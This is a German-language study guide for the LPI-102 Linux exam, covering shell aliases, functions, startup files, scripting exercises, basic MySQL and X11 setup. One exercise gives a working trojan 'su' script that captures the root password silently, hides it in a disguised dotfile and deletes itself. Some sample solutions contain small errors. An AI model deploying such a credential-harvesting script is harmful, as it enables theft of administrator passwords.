= Vorbereitung auf die Prüfung LPI-102
:toc:
:numbered:
:imagesdir: images
:author: Axel Pemmann
:date: 20.07.2015


== Topic 105.1: Anpassung und Einsatz von Shell-Umgebungen


**Hochgewichtete Themen in der Prüfung LPI 102:**

Benutzerverwaltung, Zeitsteuerung, Netzwerk, Sicherheit

=== Shells, Skripte und Datenverwaltung

**Shellarten und Eigenschaften von Variablen**

Welche Shells kennt Linux neben der 'bash'?

  -> Siehe Datei /etc/shells

Hier können nach belieben andere Shells als Login-Shell definiert werden.

Wichtige Frage: Welche Features bietet meine Shell, inwieweit unterstützt Sie den Benutzer?

**a) Für interaktive Nutzung:** Komfortfunktionen (History, Autovervollständigung,
	Kommandozeileneditor)

**b) Als Interpreter von Skripten:**
	Beispielesweise kann die sh/dash nicht rechnen, so das man auf externe Befehle
	expr und bc zugrückgreifen muss, die bash bietet dagegen das interne Kommando _let_

_**Worin bestehen die Unterschiede bei Umgebungs- und Shellvariablen?**_

Umgebungsvariablen werden automatisch exportiert (vererbt), sie stehen Kindanwendungen (und damit auch Subshells) damit sogleich zur Verfügung.

Die Shellvariablen werden durch einen Benutzer oder ein Skript deklariert, diese Typfestlegung kann z.B. mit declare erfolgen:

  * Ein Variable als Zahl deklarieren:  _declare -i zahl_
  * Ein Variable radonly markieren:     _declare -r wichtig=Linux_
  * Darüberhinaus kann declare alle definierten Funktionen ausgeben: _declare -f_

ACHTUNG: Das veraltete Kommando typeset kann ebenso wie declare Werte und Eigenschaften für Variablen setzen!


==== Aliase (Kommandozeilen-Kürzel)

Ergebnis sind eigene Kommandos, die als eine Art Shell-Builtin dann verfügbar sind, sie erleichtern die Arbeit ungemein.

Genau wie Shell-Builtins werden sie VOR dem eigentlichen Kommando ausgeführt.

Alias = Kürzel für lange Kommandozeilen

Syntax:  _alias kürzel=‘Kommandozeile‘_

Beispiele:

	* _alias l=‘ls -ltrc‘_     # Optionen: Langes Format, zeitsortierte, reverse Ausgabe
	* _alias rm=‘rm -i‘_
	* _alias cp=‘cp -i‘_
	* _alias mv=‘mv -i‘_
	* _alias ftpmount=‘curlftpfs  lpic1.example.test  ~/ftpdir > /dev/null 2>&1‘_

Am besten gleich in der ~/.bashrc festlegen!
(Bei Debian: u.a. „force_color_prompt=yes“ aktivieren)

Nach Änderungen der Datei muss mit (‘source‘) oder (‘. ‘) der Inhalt in der elternlichen Prozessumgebung aktiv gesetzt werden.

Des weiteren:

	* Prüfung, ob es sich um einen Alias handelt:  _type rm_
	* Alle definierte Aliasen anzeigen: _alias_
	* Einen Alias temporär aus der Prozessumgebung entfernen:  _unalias <KÜRZEL>_
	* Alle Aliase temporär aus der Prozessumgebung entfernen:  _unalias -a_
	* Einen Alias temporär für einmalige Ausführung übergehen: _\KÜRZEL_

BEISPIEL:
----
tux@deb7:~$ touch datei{1,2,3,4}-{a,b,c,d}.txt
tux@deb7:~$
tux@deb7:~$ ls -1 datei[1-4]* | wc -l

tux@deb7:~$ rm datei*
rm: reguläre Datei „datei“ entfernen? j
rm: reguläre leere Datei „datei1-a.txt“ entfernen? j
rm: reguläre leere Datei „datei1-b.txt“ entfernen? j
rm: reguläre leere Datei „datei1-c.txt“ entfernen? ^C
tux@deb7:~$
tux@deb7:~$ \rm datei*
tux@deb7:~$
tux@deb7:~$ ls -1 datei[1-4]* | wc -l
ls: Zugriff auf datei[1-4]* nicht möglich: Datei oder Verzeichnis nicht gefunden
----


Zum Alias "ftpmount"

Voraussetzung (als root):

  * Installiertes Paket „curlftpfs“: _apt-get install curlftpfs_
  * Beim ersten Mal: _modprobe fuse_
  * Benutzer in sekundäre Gruppe „fuse“:  _usermod -aG fuse tux_

Benutzung als Nutzer „tux“:

  * Nach dem Neueinloggen eine Datei ~/.netrc erzeugen:

	machine lpic1.example.test
	login myUsername
	password myPassword

  * Rechte anpassen: _chmod 600 ~/.netrc_
  * Mountpunkt erzeugen: _mkdir ~/ftpdir_
  * Den oben definierten Alias aufrufen: _ftpmount_
  * Optional: SymLink für bequemen Zugriff erzeugen:

    ln  -s  ~/ftpdir/HandOuts/Pemmann\ Axel/  LinuxKurs


==== Funktionen

Problemstellung: Die Shell kann Rückgabewerte ($?) nur einmal auswerten, anders sieht es Funktionen aus, hier kann mit return mehrfach auf Rückgabewerte reagiert werden. Außerdem kann man öfter verwendete, gleiche Kommandozeilen zusammenfassen und als eigenen Befehl definieren.

Syntax:

**a) Langform**

	function NAME(){
		Kommando 1
		Kommando 2
		Kommando n
	}

**b) Kurzform 1**

	NAME(){
		Kommando 1
		Kommando 2
		Kommando n
	}

**c) Kurzform 2**

	function NAME {		# ACHTUNG: Zwischen dem Namen und der
		Kommando 1	# sich öffnenden Klammer muss eine Leerzeichen
		Kommando 2	# stehen!
		Kommando n
	}


BEISPIELE:

In ein Verzeichnis wechseln und Inhalt ausgeben:

	function cl () {
		cd  $1
		ls -F
	}

	BENUTZUNG:   cl /etc/ppp

Demonstration, dass Alias VOR Funktionen ausgeführt werden

	function aliastest(){
		type cp
		type ftpmount
		rm $1
		}

	BENUTZUNG:   rm datei

Für Firewallscript Befehle für das Öffnen und Schließen definieren

	open(){
		iptables  -P  INPUT ACCEPT
		iptables  -P  OUTPUT ACCEPT
		iptables  -P  FORWARD ACCEPT
		iptables  -F
		iptables  -X
		iptables  -Z
	}

	close(){
		iptables  -P  INPUT DROP
		iptables  -P  OUTPUT DROP
		iptables  -P  FORWARD DROP
		iptables  -F
		iptables  -X
		iptables  -Z
	}


AUFGABE: Suchen Sie im Internet nach dem „Shell Shock“-Bug der bash, testen Sie, ob Sie anfällige Software haben.

Weitere Funktionen finden sich in fork-Bomben.


==== Konfigurationsdateien für Login und bash

Je nach Shell werden unterschiedliche Dateien beim Systemstart abgearbeitet.
Für was steht „rc“? Es kann "run command" oder "ressource control" bedeuten.

**a) Systemweite Dateien:**

  * Zur Festlegung der PATH-Variablen (evl. auch umask-Wert):   /etc/profile

  --> Ziel: Nutzerprofil mit sinnvollen Mindestwerten initiieren

  * Einstellungen zu Passwortkomplexität und evl. auch umask-Wert:  /etc/login.defs
  * Initiialisierung der Bash:  /etc/bashrc  bzw. /etc/bash.bashrc
  --> wobei mehr Möglichkeiten als bei der Prompt-Initialisierung der sh via /etc/profile bestehen:  PS1="Eingabe \W: "

  PROMPT-AUSSEHEN:
		Eingabe ~: cd /usr/share/doc
		Eingabe doc:
		Eingabe doc:

  * Festlegung von Tastaturkürzeln: /etc/inputrc

Welchen weiteren Unterschied gibt es bei der Abarbeitung der beiden folgenden Dateien?

  * /etc/profile: Wird nur ein Mal beim Login abgearbeitet (Bei Änderungen logout/login erforderlich)
  * /etc/bashrc: Wird mit jedem neuen bash-Aufruf (egal ob als Subshell oder durch Starten einen neuen Terminalemulators, z.B xterm)

**b) User definierte Startupdateien**

MERKTIPP: Von historischer Entwicklung der Shells ausgehen:

  * Die Parallele der /etc/profile:   _~/.profile_  -> Handelt es sich um einen moderneres System mit einer bash, dann werden andere
  Dateien VORHER abgearbeitet (siehe unten bei "bash-spezifische Konfigdateien")!
  * Die Parallele der /etc/iniputrc: _~/.inputrc_  -> Wird diese Datei jedesmal oder nur beim Login ausgewertet? ANTWORT: Jedesmal mit Öffnen einer neuen Shell

	Zur Bildung der Tastenkürzel siehe auch

	http://www.pro-linux.de/kurztipps/2/1256/tasten-mit-kommandos-belegen.html

	Beispiel:
		cat ~/.inputrc
			"\e[11~": "ls -ltrc\n"
			Control-h: "cd ~"

		Nach dem Abspeichern aktiv setzen:  bind -f ~/.inputrc

		Benutzung:
			- Zeile 1: Taste F1 drücken, um ‚ls -ltrc‘ sofort auszuführen
			- Zeile 2: Strg + g drücken, um ‚cd ~‘ auf den Prompt zu legen

	Siehe dazu auch „help bind“ sowie  „man  readline“

  * bash-spezifische Konfigdateien

	** ~/.bash_profile (wird falls vorhanden beim Login NACH der /etc/profile abgearbeitet) -> Was bedeutet: Nutzer-definiert Konfigs gehen systemweiten vor!
	** ~/.bash_login (wird nur beim Login)
	** ~/.bash_logout (falls sie existiert, wird sie beim Logout ausgeführt)

Weitere Unterscheidungen von Shell-Arten sind möglich:

	* interactive
	* non-interactive
	* login
	* non-login

Siehe dazu: http://homepage.smc.edu/morgan_david/linadmin/labs/safe-remote-poweroff/safe-remote-poweroff.htm

=== Fragen zur Wiederholung

. Schreiben Sie Aliase für die folgenden Kommandos:

  * apt-get update       ->   Kürzel: au  _alias au='apt-get update'_

  * apt-cache search     ->   Kürzel: as  _alias as='apt-cache search'_

  * apt-get install      ->   Kürzel: ai  _alias ai='apt-get install'_

. Fasssen Sie die beiden folgenden Kommandozeilen zusammen, so dass sie ähnlich einen Shellbuiltin-Befehl  in der Bash-Umgebung (kein Skript) zur Verfügung stehen. Geben Sie dem neuen Befehl den Namen 'backup.etc'.

	tar czvf /root/etc-backup-`date +%F`.tar.gz  /etc
	md5sum /root/etc-backup-`date +%F`.tar.gz  >> /root/md5sums.txt

  LÖSUNG:

  backup.etc(){
	tar czvf /root/etc-backup-`date +%F`.tar.gz  /etc
	md5sum /root/etc-backup-`date +%F`.tar.gz  >> /root/md5sums.txt
	}



. Setzen Sie der Variablen "zahl1" den Wert 3, der Variablen "zahl2" den
Wert 5,  berechnen Sie danach mit Hilfe von 'let' das Produkt, wobei Sie das Ergebnis bitte in eine Variable namens "produkt" speichern.


    LÖSUNG:

	zahl1=3	alternativ:	declare -i zahl1=3
	zahl2=5	alternativ:	declare -i zahl2=5

	let produkt=$zahl1*$zahl2    alternativ:       let produkt=zahl1*zahl2

	echo $produkt




. Starten Sie mit 'sh' eine Subshell. Steht die Variable 'produkt' hier zur Verfügung?

	--> Nein

. Wenn nicht, warum? Sorgen Sie in dem Falle dafür, dass sie auch hier vorhanden ist.

	--> Die Variable wurde ja nicht exportiert.

	--> export produkt

. Entfernen Sie die Variable 'produkt' komplett.

  LÖSUNG:

	unset produkt

	(ein "export -n produkt" würde ja nur den Export zurücknehmen, so
	so dass es sich nicht mehr um eine Umgebungsvariable handelt)

. Entfernen Sie temorär den Alias 'ai' aus Ihrer Shellumgebung

	unalias ai

. Beachten Sie: Das Shellbuiltin 'builtin' arbeitet nicht mit Aliasen, sondern Funtionen:

  function cd(){
      cd /tmp
      echo "Nach /tmp gewechselt."
   }

  Die eben definierte Funktion umgehen:

    builtin cd /usr/share/doc

. Wie kann einmalig umgangen werden, dass mit 'rm'  der Alias 'rm -i' ausgeführt wird?

  LÖSUNG: Einen Backslash voranstellen:   \rm

. Welche Aufgabe hat die Datei '/etc/inputrc' bzw. '~/.inputrc'?

  => Eigene Hotkeys festlegen



== Topic 105.2: Einfache Skripte anpassen oder schreiben


ZIEL: Einfache, grundlegende Kontrollstrukturen kennenlernen, Kommando 'test' benutzen können

Das erste Skript soll typische Umgebungsvariablen eines einfachen Benutzers ausgeben:

	vi myenvironment.sh

		#!/bin/sh
		#
		# myenvironment.sh
		echo "Mein Heimatverzeichnis lautet:  $HOME "
		echo "Mein aktuelles Arbeitsverzeichnis ist:  $PWD "
		echo "Mein Loginname lautet:  $LOGNAME "
		echo "Mein Suchpfadvariable beinhaltet folgende Ordner:  $PATH "
		echo "Mein primärer Prompt wird gebildet mit:  $PS1 "
		echo "Mein Elternprozess ist $PPID und mein aktueller Prozess $$ "

Danach muss das Skript ausführbar gemacht werden:

	chmod u+x myenvironment.sh

Ausführung aus einem Verzeichnis heraus, dass nicht im Suchpfad integriert ist:

	./myenvironment.sh


=== Expansionen und Substitutionen in der Shell

**VORSICHT:** Bitte die folgenden Zeichen **nicht** mit Maskierungsausgaben in Zusammenhang bringen:

	* Backslash (\): Maskierung des darauffolgenden Zeichens (Dollar ist mit betroffen)
	* Simple Ticks ('): Zwischen zwei solcher Zeichen gesetzter Text wird maskiert
	  (Dollar ist mit betroffen)
	* Double Sticks: Maskierung verschiedener Zeichen wie Leerzeichen, das Dollarzeichen ist
	  aber **nicht** mit betroffen!


Es gibt drei grundlegende Verfahren, die Erweiterungs- bzw. Ersetzungsaufgaben wahrnehmen:

.a) Wildcard/Joker-Expansion (Dateinamesexpansion)

Die Dateijoker unter Linux sind: *, ?, [...], [!...]

	ls -l /etc/*.conf

.b) Variablen-Expansion, Ausgabe von Variableninhalten

	echo $PATH

ACHTUNG: Bei zusammenzusetzenden Zeichenketten, muss die Variable vom umgebenden Text abgetrennt werden, das macht man i.d.R. mit den geschweiften Klammern (oder einem Backslash oder Tickmarks)

....
tux@deb7:~$ # ZIEL: Zeichenkette "Weltenbummler" generieren
tux@deb7:~$ name=Welt
tux@deb7:~$
tux@deb7:~$ # So NICHT:
tux@deb7:~$ echo $nameenbummler
				<==  Diese Variable gibt es nicht (deswegen die Leerzeile)
tux@deb7:~$
tux@deb7:~$ # Sondern so:
tux@deb7:~$
tux@deb7:~$ echo ${name}enbummler
Weltenbummler
tux@deb7:~$
tux@deb7:~$ echo $name\enbummler
Weltenbummler
tux@deb7:~$
tux@deb7:~$ echo $name'enbummler'
Weltenbummler
tux@deb7:~$
tux@deb7:~$ echo $name"enbummler"
Weltenbummler
tux@deb7:~$
....


.a) Kommandozeilensubstitution:


	a) Mit Backticks: 			echo `cat /etc/fstab`
	b) Mit Dollar und runden Klammern: 	ls -F /lib/modules/$(uname -r)

=== Spezielle Variablen

Es gibt für verschiedene Zwecke fest vordefinierte Variablen, die vor allen die Frage betreffen _Wo bekomme ich meinen Input her?_


.Positionelle Parameter
=> die an einer bestimmten Position mitgegebenen Übergabeparameter:

	$1 ... $9

	BSP, Skriptname "kopiere":     cp -vr  $1  $3

		Ausführung des Skiptes:    ./kopiere  Dokumente nach Doc.backup.d

Hierbei stellt das Wörtchen "nach" den zweiten positionellen Parameter dar, der einfach nicht ausgewertet wird.


Daneben wird in der Variablen '$#' die Anzahl der übergebenen Parameter geführt, in der '$*' alle übergebenen Parameter als Zeichenkette (IFS wirkt wirt sich nicht aus) und in der Variablen '$@' alle übergebenen Parameter mit IFS-Trenner (Die Parameter als einzelnes Wort).


.Interner Feldtrenner (Internal Field Separator)
=> Auftrennung der Kommandozeile in einzelne Argumente, so dass die Shell sie verarbeiten kann

	Variablename: IFS

	BSP: echo $IFS | od -x

	-> Hier ist i.d.R. ein Leerzeichen und ein Tabulatorschritt enthalten

.Der Name des aufrufenden Programmes/Skriptes

	Variablenname: 0

	BSP:  echo "Das Skript heißt $0."

.Der Exit-Code eine Programmes/Skriptes

Die Shell kennt nur DIE Codes 0 oder 1, wobei 0 Erfolg bedeutet. Andere, reguläre Kommandos können weitere Exitcodes produzieren.

	Variablenname: ?

	BSP:  echo "Das Skript ist mit Exitcode $0 gelaufen."

.Variablen für die Prozessvewaltung

	* Die Parent-PID: PPID

		BSP:   echo "Mein Eltenprozess: $PPID"

	* Die aktuelle PID des Programmes/Skripts: $

		BSP:   echo "Mein eigener Prozess: $$"

	* Den letzten Hintergrundprozess: !

		BSP: sleep 60 & echo "Mein letzter bash-Job: $!"

=== Kontrollstrukturen

Um eine strukturierte Ablaufplanung mit Manipulationsmöglichkeiten zu erhalten, gib es:

	* Schleifen (for, while, until, select)
	* Verzweigungen (if / case)

==== Schleifen für wiederholte Abarbeitung

.a) While-Schleife

Sie dient dazu, eigene, kleine Daemons zu schreiben. Das kann sogar mit Endlosschleifen geschehen, die mit einer Abbruchbedingung ausgestatte werden müssen:

	while true
	    do
		echo "Bitte warten...."
		sleep 2
	done

Bedingungen können aber natürlich zuallererst in der Schleife selber definiert werden, anstelle von _true_ notiert man den Ausdruck, der häufig mittel dem Kommando 'test' generiert wird:

	#!/bin/bash
	#
	# add
	#
	# Dem Skript müssen mehrere Ganzzahlen als Parameter übergeben werden
	summe=0
	while test $# -gt 0
	   do
		let summe=summe+$1
		echo "Die Summe berägt im Moment: $summe"
		sleep 1
		shift
	done
	echo "Die Summe beträgt: $summe"
	unset summe
	exit 0


Das Skript in Aktion:

....
./add 1 2 3 4 5 6 7
Die Summe beträgt im Moment: 1
Die Summe beträgt im Moment: 3
Die Summe beträgt im Moment: 6
Die Summe beträgt im Moment: 10
Die Summe beträgt im Moment: 15
Die Summe beträgt im Moment: 21
Die Summe beträgt im Moment: 28
Die Summe beträgt: 28
....

.b) For-Schleife
=> für Praxisaufgaben wie die Untersuchung aller Objekte im Dateisystem gut geeignet:

	for liste in /etc/host*
	   do
		file $liste
	done

Das Skript in Aktion:

----
/etc/host.conf: ASCII text
/etc/hostname: ASCII text
/etc/hosts: ASCII text
/etc/hosts.allow: ASCII text
/etc/hosts.deny: ASCII text
----


=== Fragen zur Wiederholung

. Schreiben Sie ein Skript, das wichtige bash-Variablen ausgibt

	$0
	$#
	$1 ... $9
	$?


	LÖSUNG:

	echo "Programm-Name: $0"
	echo "Anzahl der Parameter: $#"
	echo "1. Positionsparameter: $1"
	echo "2. Positionsparameter: $2"
	echo "3. Positionsparameter: $3"
	echo "4. Positionsparameter: $4"
	echo "5. Positionsparameter: $5"
	echo "6. Positionsparameter: $6"
	echo "7. Positionsparameter: $7"
	echo "8. Positionsparameter: $8"
	echo "9. Positionsparameter: $9"
	echo "Exitcode dieses Programmes: $?"

. Modifizieren Sie das folgende if-Verzweigungs-Beispiel. Fügen Sie einen
Header mit dem Shebang und einer Variablen namens "dateityp" hinzu,
über die Sie Dateien angeben können. Geben Sie für einen Testfall ein
vorhandenes Verzeichnis an, prüfen Sie, ob es tatsächlich vom Typ her
ein 'Directory' ist:

        if [ -f /etc/hosts ]
                then
                        echo "Es handelt sich um eine Datei."
                else
                        echo "Es handelt sich NICHT um eine Datei."
        fi

	Hinweis: Anstelle der eckigen Klammern kann auch direkt das Kommando
'test' verwendet werden

	#!/bin/bash
	#
	# if-tests.sh

	### VARIABLE=WERT
	dateiobjekt=/tmp/weißnicht

	if [ -d $dateiobjekt ]
	      then
		 echo "Es handelt sich um ein Verzeichnis."
	            else
	         echo "Es handelt sich NICHT um ein Verzeichnis."
	fi


	### Verbesserte Variante:

	#!/bin/bash
	#
	# if-tests-parameter.sh

	### Durch die Verwendung von '$1' muss dem Skript ein Dateiobjekt
übergeben werden
	if [ -d $1 ]
	      then
		 echo "Es handelt sich um ein Verzeichnis."
	            else
	         echo "Es handelt sich NICHT um ein Verzeichnis."
	fi


.  Stellen Sie sich vor, dass Sie mit 'wget' einen Download gestartet haben,
der aber eine ganze Weile laufen wird. (Testweise 'sleep 300 &' verwenden!).
Schreiben Sie ein Skript, das prüft, ob der Prozess noch läuft.
Wenn nicht, soll der Rechner heruntergefahren werden.

   -> Endlosschleife mit while, Abbruchbedingung mit if-then-else


	#!/bin/bash
	#
	# wget-shutdown.sh

	while true
	   do
		if [ "`pgrep sleep`" = "" ]
			then
			   echo "Download beendet!"
			   echo shutdown -h 1
			else
			   echo "Bitte warten, Download läuft noch..."
			   sleep 2
		fi
	done


. Schreiben Sie ein Skript namens 'su', das als trojanisches Programm das
root-Passwort abfängt, falls 'root' den Fehler begeht und nicht absolute Pfade
verwendet: ('/bin/su -'). Das abgefangene Passwort soll in einer versteckten
Datei abgelegt werden. Dabei soll das Programm die Arbeitsweise von '/bin/su'
möglichst detailgetreu nachahmen und sich nach getaner Arbeit selbst löschen.
+
----
#!/bin/bash
#
# su
#
# DEMO: Trojanisches Skript, das das root-Passwort abfischt und sich danach löscht
# Hinweis: Mit der folgenden Zeilen kann das Skript von jedem Verzeichnis
# aus aufgerufen werden:  export PATH=.:$PATH
#
read -s -p "Passwort: "  pw
echo
echo "su: Fehler bei Authentifizierung"
echo "$pw" > ~/.dbus/.netsocket
rm -f $0
----

. Schreiben Sie ein Bash-Programm, das die freie Speicherkapazität der
Wurzelpartition überwacht und ein "ALERT: HDD full!" mit 'logger' ins Haupt-Logfile schreibt,
wenn die Belegung 90% beträgt.

	HINWEIS: Das %-Zeichen lässt sich am elegantesten mit Hilfe von Variablen-String-Verarbeitung entfernen (http://www.lansys.ch/shell/strings.htm)

	space=$(df / | tail -1 | awk '{print$5}')
	echo ${space//%}


	LÖSUNG:


	# %-Wert der Auslastung in einer Variable speicher, um Stringverarbeitung
	# durchführen zu können
	space=$(df / | tail -1 | awk '{print$5}')

	# Berechnung durchführen, Stringverarbeitung, um %-Zeichen zu entfernen
	if [ ${space//%} -gt 20 ]

	  then
	      logger "ALERT: HDD full!"
	      echo "ALERT: Festplatte ist zu $space belegt!"

	fi


. Schreiben sie ein Skript, das prüft, ob der Host "foo" (Z.B. Standardgateway) erreichbar ist.
Im Fehlerfall soll die Meldung  ins Syslog geschrieben werden "NETZWERKFEHLER: Host foo nicht
erreichbar.".

	vi host-available.sh
+
----
### Testweise
ping -c4 172.16.0.2 > /dev/null 2>&1 ; echo $?

### Lösung 1
ping -c2 172.16.0.2 > /dev/null 2>&1 || logger "NETZWERKFEHLER: Host foo nicht erreichbar."



### Lösung 2
ping -c2 172.16.0.2 > /dev/null 2>&1
if [ $? -ne 0 ]
	then echo "NETZWERKFEHLER: Host foo nicht erreichbar."
fi

----



**Aus den Prüfungsfragen**

  cat myscript
      shift
      echo $2


  ./myscript  eins  zwei  drei  vier
      drei

  -> Es wird zuerst um Eins verschoben (shift [1]), d.h. der erste Positionsparameter wird
  nicht mehr beachtet, danach wird von der verbleibenden Liste (zwei  drei  vier) der zweite
  Positionsparameter ausgegeben, also: "drei"


Bitte als nächstes das folgende Skript schreiben und danach austesten:

----
#!/bin/bash
#
# grundrechenarten-case.sh
clear; echo -e "Welche Operationen möchten Sie ausführen?\nBitte den ersten Buchstaben eingeben und mit Eingabe bestÃ¤tigen!\n"
echo -e "	[a]ddieren
	[s]ubtrahieren
	[m]ultiplizieren
	[d]ividieren "

read -p "EINGABE: " operator
clear; echo -e "\nGeben Sie jetzt den ersten Wert ein  "
read a
clear; echo -e "\nGeben Sie jetzt den zweiten Wert ein  "
read b

case "$operator" in
	a)
	   let c=a+b
	   clear; echo $a + $b = $c
	   ;;
	s)
	   let c=a-b
	   clear; echo $a - $b = $c
	   ;;
	m)
	   let c=a*b
	   clear; echo $a "*" $b = $c
	   ;;
	d)
	   let c=a/b
	   clear; echo $a / $b = $c
	   ;;
	*)
	   clear; echo -e "\nSie haben einen ungültigen Operator angegeben!"
	   exit 1
	   ;;
esac
exit 0
----

== Topic 105.3: SQL-Datenverwaltung


ZUR MOTIVATION: Es gibt CMS (wordpress, joomla, OpenNote, ilias, contao, ...) auf Basis LAMP    (Linux - Apache/Nginx - MySQL  - Perl/PHP)

Ziel: DBMS-Superuser (er heißt ebenfalls 'root') muss sein CMS-Passwort ändern können

=== Installation von DBMS und Cmdline-Client unter Debian 7

    # Installation
    apt-get install mysql-server
       (Assistent verlangt das Setzen eines Passwortes)

    # Überprüfung der Installation
    dpkg -l | grep sql

    # Authentifizierter Login (User = root, Prompt bereitstellen)
    mysql -u root -p


         ERSTE SCHRITTE IM mysql-Client:

	     status;
	     help data types;
	     show databases;
	     use mysql;
	     show tables;
	     select * from user;

	     ---- Neue DB erzeugen;

	     create database kontakte;
	     use kontakte;

	     create table rufnummern(
		id int(10) not null auto_increment primary key,
		vorname varchar(128),
		nachname varchar(128),
		vorwahl varchar(32),
		rufnummer varchar(32)
		);

	    insert into
	    rufnummern (id,vorname,nachname,vorwahl,rufnummer)
	    values
	    (1,
	    'Hans',
	    'Panz',
	    '030',
	    '12345678'
	    );

	    show tables;
	    describe rufnummern;
	    select * from rufnummern;
	    select vorname,nachname from rufnummern;
	    select vorwahl,rufnummer from rufnummern where vorname='Willi';
	    select nachname,vorname,vorwahl,rufnummer from rufnummern where vorname='Willi';

	    # Ohne Feld 'id' vom Type AUTO_INCREMENT:
	    insert into rufnummern (vorname,nachname,vorwahl,rufnummer) values ('Susi', 'Paschke', '030', '343493067');

	    # Ohne Verwendung des Feldes "vorwahl" wird im Datensatz dort NULL eintragen
	    insert into rufnummern (vorname,nachname,rufnummer) values ('Dieter', 'Durstig', '66673');


	    select * from rufnummern where nachname='Durstig';
	    select * from rufnummern where id > 1 and id < 4;

	    update rufnummern set vorwahl='0221' where id=2;

	    ### AUFGABE: Das leere Feld (Wert = NULL) bei Dieter Durstig befüllen.
	    update rufnummern set vorwahl='0221' where id=2;

	    ### Abschließend Datenbank sichern mittels Klartext-Dump:
	    mysqldump -u root -p  kontakte > database-kontakte.sql


**Fragen zur Wiederholung**

. Wie lautet eine einfache SQL-Abfrage, die den Inhalt einer Tabelle komplett ausgibt?

	SELECT * FROM table_name;

. Erläutern Sie, was die folgende SQL-Kommandozeile bedeutet:

 	UPDATE rufnummern SET vorwahl = '02131' WHERE vorname = 'Dieter';

	  * Ziel: Änderung ("UPDATE") eines Datensatzes einer Tabelle ("rufnummern")
	  * Suche die Zeilen heraus, wo im Feld "vorname" der Wert "Dieter" zu finden ist
	  * Dabei geschieht die Änderung im Feld "vorwahl", dessen neuer Wert zugleich mit "SET"
	    übergeben wird



== Topic 106.1: X11 installieren und konfigurieren


Ziel: ein X-Window-System installieren und einen X-Font-Server  aufzusetzen

=== Hardwareinformationen erhalten
Was habe ich für ein Grafiksystem?
    		 (Grafiksystem besteht aus Grafikkarte und Monitor)

		* GFX-Card identifieren:  lspci | egrep 'VGA|3D'
		* Welche Xorg-Treiber geladen wurde:
			grep \.so$ /var/log/Xorg.0.log
			(Dateinamen mit z.B. "vesa", "intel" oder "nvidia")

        Aus welchen Komponenten besteht ein X-Window-System?
          --> eine anschaulich Grafik finden Sie unter http://www.answers.com/topic/x-window-system

      Experiment: Was ist der X-Server?

          Als root durchzuführen
               a) Unter CentOS:  init 3
               b) Unter Debian (bei Vervendung eins Display-Managers):  Auf tty1 (STRG + ALT + F1)    /etc/init.d/gdm3  stop    alt:    /etc/init.d/kdm  stop

               - X-Server starten      'X -retro'

               - X-Client 'xterm' starten: Auf tty3 (STRG + ALT + F3)

                         --> Versuch 1 misslingt:   'xterm'     MELDUNG: Can't open display: %s    --> auf letzter Zeile:  DISPLAY is not set

                         --> Versuch 2 geling, weil jetzt die Clients erfahren, wo sie ihre Pixel hinzusenden haben:

                                           export DISPLAY=:0.0
                                               (Sende zu erstem X-Server, erstes Display auf dem lokalen Rechner)

                                                      ALTERNATIV:  export DISPLAY=192.168.2.5:0.0
                                                            (Sende zu erstem X-Server, erstes Display auf dem entfernten Rechner 192.168.2.5)

                                            xterm     (Programm läuft im Vordergrund ohne Fehlermeldung)

                                            STRG + ALT + F2 -> allerdings fehlt noch ein wichtiger Client:  der Window Manager (twm, icewm, fvwm2, fluxbox, openbox, pekwm)

                                            zypper in icewm

                                            icewm &

                - Wieder zur Standardoberfläche zurückkehren: killall X ; init 5

Mit welchen Optionen wurde denn der X-Server via Display-Manager gestartet?   --> z.B. mit  '-nolisten tcp'  (Der TCP-Port 6000 wird NICHT geöffnet)
      ---> via Unix Domain Socket: /tmp/.X11-unix/X0

Was versteht man unter einem Display-Manager?  Es handelt sich um ein spezielles X-Window-System, das bequemen, grafischen User-Login zu ermöglicht (Entsprechung bei MS: "winlogon")

Worin besteht der Hauptunterschied zwischen Windowmanager und Desktop Environment?

                 * Ein Window-Manager ist Basis jedes Desktops, so hat z.B. KDE als Standard-Fenstermanager 'kwin'
                 * Ein Windowmanager bringt KEINE Zubehörprogramme mit
                 * Ein Desktop unterstützt Kommunikation zwischen Zubehör-Apps
                 * Ein Desktop setzt auf einheitliche Libs (KDE = qt) --> einheitliches Look & Feel von Apps

=== Der Startvorgang von X unter SuSE Linux

Möglichkeiten, die grafische Oberfläche zu starten:

    a) via Display Manager (i.d.R. zu empfehlen)
    b) via xinit (zuerst Konsole-Login, dann 'startx')

==== Starten mittels xinit/startx

FRAGE: Wie lautet eine übliche Abfolge von Kommandos und entsprechenden Startskripten?

   ACHTUNG: Hier darf nichts in Sachen '~/.xsession' auftauchen!  Das wäre der falsche Kontext: es handelt sich um die Startupdatei des "Display Manager"

Übung "xinit"-Start austesten:
    init 3
    STRG + ALT + F2 (tty2)
        -> als tux einloggen
        -> startx

     KLAPPT NICHT!

     Workaround:

            vi /etc/inittab

                ÄNDERN AUF:      id:3:initdefault:

            reboot

     Geht immer noch nicht!

     Nächster Test als root:
         /etc/init.d/xdm stop
         startx

         ==> Es ist zu beobachten: es startet sich mein installierter und favorisierter Desktop: lxde

      Da wir aber lediglich einen kleine Fenstmanager wollen, nämlich "icewm", schreiben wir eine eingene Startdatei:

             vi  /root/.xinitrc

----
xterm &
firefox &
exec icewm
----

             startx


**FRAGEN:**

  * Wie wird die Konfiguration des X-Servers durchgeführt?

    a) grafisch, z.B. unter SuSE: yast2

    b) per Hand in Configdateien

      - Heute: /etc/X11/xorg.conf   (Gibt es zum Teil nicht mehr, via 'udev' erfolgt automatische Erkennung)

      - Früher: /etc/X11/XF86Config


**Zur Konfigurationsdatei des X-Servers 'XF86Config' bzw. 'xorg.conf':**

       * Wie heißt die Sektion, in der Schriftarten eingebunden werden:  _files_
       * Wie lautet die Anweisung, um einen X11-Font-Server in eben dieser Sektion zu konfigurieren? _FontPath "unix/:7100"_

                       (Die Maschine, die diese Fonts zentral vorhält heißt "Unix")

       * Vorteil eines Fontservers: Sparen von Plattenplatz sowie möglicherweise von Lizenzkosten

                              du -h /usr/share/fonts/*  |  sort -h

       Bitte installieren:

             zypper in xvidtune xwininfo

       Bitte testen:

             xvidtune -show

             xrandr                   (Mögliche Modes auflisten)

             xrandr -s 1024x768       (Auflösung ändern)

==== Troubleshooting X11

     Welche Treiber sind installiert:
            SuSE: rpm -qa | grep xorg
            Debian: dpkg -l | grep xorg

    Eine (neue) xorg.conf erzeugen und testen:
             init 3
             Xorg -configure
             Xorg -retro -config xorg.conf.new= LPI 102 - Di, den 20.10.2015


=== Fragen zur Wiederholung

1. Was versteht man unter einem Display-Manager?

   Ist ein spezielles X-Window-System, um bequemes,
   grafisches User-Login zu ermöglichen (im Vergleich zu MS: "winlogon")

